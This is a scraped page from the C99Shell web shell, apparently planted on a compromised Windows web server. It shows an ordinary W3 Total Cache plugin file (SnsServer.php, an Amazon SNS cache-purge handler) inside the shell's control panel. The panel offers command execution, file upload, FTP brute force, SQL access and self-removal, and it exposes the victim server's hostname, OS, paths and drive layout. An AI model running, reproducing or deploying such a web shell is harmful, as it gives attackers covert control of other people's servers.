!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\w3-total-cache\lib\W3\Enterprise\   drwxrwxrwx
Free 3.26 GB of 39.52 GB (8.25%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SnsServer.php (5.61 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Purge using AmazonSNS object
 */

w3_require_once(W3TC_LIB_W3_DIR '/Enterprise/SnsBase.php');
w3_require_once(W3TC_LIB_DIR '/SNS/services/MessageValidator/Message.php');
w3_require_once(W3TC_LIB_DIR '/SNS/services/MessageValidator/MessageValidator.php');

/**
 * Class W3_Sns
 */
class W3_Enterprise_SnsServer extends W3_Enterprise_SnsBase {

    
/**
     * Processes message from SNS
     *
     * @throws Exception
     */
    
function process_message() {
        
$this->_log('Received message');

        try {
            
$message Message::fromRawPostData();
            
$validator = new MessageValidator();
            
$error '';
            if (
$validator->isValid($message)) {
                if (
$message->get('Type') == 'SubscriptionConfirmation')
                    
$this->_subscription_confirmation($message);
                else if (
$message->get('Type') == 'Notification')
                    
$this->_notification($message->get('Message'));
            } else {
                
$this->_log('Error processing message it was not valid.' );
            }
        } catch (
Exception $e) {
            
$this->_log('Error processing message: ' $e->getMessage());
        }
        
$this->_log('Message processed');
    }

    
/**
     * Confirms subscription
     *
     * @param Message $message
     * @throws Exception
     */
    
private function _subscription_confirmation($message) {
        
$topic_arn $this->_config->get_string('cluster.messagebus.sns.topic_arn');

        if (
$topic_arn != $message->get('TopicArn'))
            throw new 
Exception ('Not my Topic. My is ' .
                
$this->_topic_arn ' while request came from ' .
            
$message->get('TopicArn'));

        
$this->_log('Issuing confirm_subscription');
        
$response $this->_get_api()->confirm_subscription(
            
$topic_arn$message->get('Token'));
        
$this->_log('Subscription confirmed: ' .
            (
$response->isOK() ? 'OK' 'Error'));
    }
    
    
/**
     * Processes notification
     *
     * @param array $v
     */
    
private function _notification($v) {
        
$m json_decode($vtrue);
        if (isset(
$m['hostname']))
            
$this->_log('Message originated from hostname: ' $m['hostname']);

        
define('DOING_SNS'true);
        
$this->_log('Actions executing');
        if (isset(
$m['actions'])) {
            
$actions $m['actions'];
            foreach(
$actions as $action)
                
$this->_execute($action);
            
do_action('sns_actions_executed');
        } else {
            
$this->_execute($m['action']);
        }
        
$this->_log('Actions executed');
    }

    
/**
     * Execute action
     * @param $m
     * @throws Exception
     */
    
private function _execute($m) {
        
$action $m['action'];
        
$this->_log('Executing action ' $action);
        
//Needed for cache flushing
        
$executor w3_instance('W3_CacheFlushLocal');
        
//Needed for cache cleanup
        
$pgcache_admin w3_instance('W3_Plugin_PgCacheAdmin');

        
//See which message we got
        
if ($action == 'dbcache_flush')
            
$executor->dbcache_flush();
        else if (
$action == 'objectcache_flush')
            
$executor->objectcache_flush();
        else if (
$action == 'fragmentcache_flush')
            
$executor->fragmentcache_flush();
        else if (
$action == 'fragmentcache_flush_group')
            
$executor->fragmentcache_flush_group($m['group'], $m['global']);
        else if (
$action == 'minifycache_flush')
            
$executor->minifycache_flush();
        else if (
$action == 'browsercache_flush')
            
$executor->browsercache_flush();
        else if (
$action == 'cdn_purge_files')
            
$executor->cdn_purge_files($m['purgefiles']);
        else if (
$action == 'pgcache_flush')
            
$executor->pgcache_flush();
        else if (
$action == 'pgcache_flush_post')
            
$executor->pgcache_flush_post($m['post_id']);
        else if (
$action == 'pgcache_flush_url')
            
$executor->pgcache_flush_url($m['url']);
        else if (
$action == 'pgcache_cleanup')
            
$pgcache_admin->cleanup_local();
        else if (
$action == 'varnish_flush_post')
            
$executor->varnish_flush_post($m['post_id']);
        else if (
$action == 'varnish_flush_url')
            
$executor->varnish_flush_url($m['url']);
        else if (
$action == 'varnish_flush')
            
$executor->varnish_flush();
        else if (
$action == 'cdncache_purge_post')
            
$executor->cdncache_purge_post($m['post_id']);
        else if (
$action == 'cdncache_purge')
            
$executor->cdncache_purge();
        else if (
$action == 'cdncache_purge_url')
            
$executor->cdncache_purge_url($m['url']);
        else if (
$action == 'apc_system_flush')
            
$executor->apc_system_flush();
        else if (
$action == 'apc_reload_file')
            
$executor->apc_reload_file($m['filename']);
        else if (
$action == 'apc_reload_files')
            
$executor->apc_reload_files($m['filenames']);
        else if (
$action == 'apc_delete_files_based_on_regex')
            
$executor->apc_delete_files_based_on_regex($m['regex']);
        else if (
$action == 'flush')
            
$executor->flush();
        else if (
$action == 'flush_all')
            
$executor->flush_all();
        else if (
$action == 'flush_post')
            
$executor->flush_post($m['post_id']);
        else if (
$action == 'flush_url')
            
$executor->flush_url($m['url']);
        else if (
$action == 'prime_post')
            
$executor->prime_post($m['post_id']);
        else
            throw new 
Exception('Unknown action ' $action);
        
$this->_log('succeeded');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--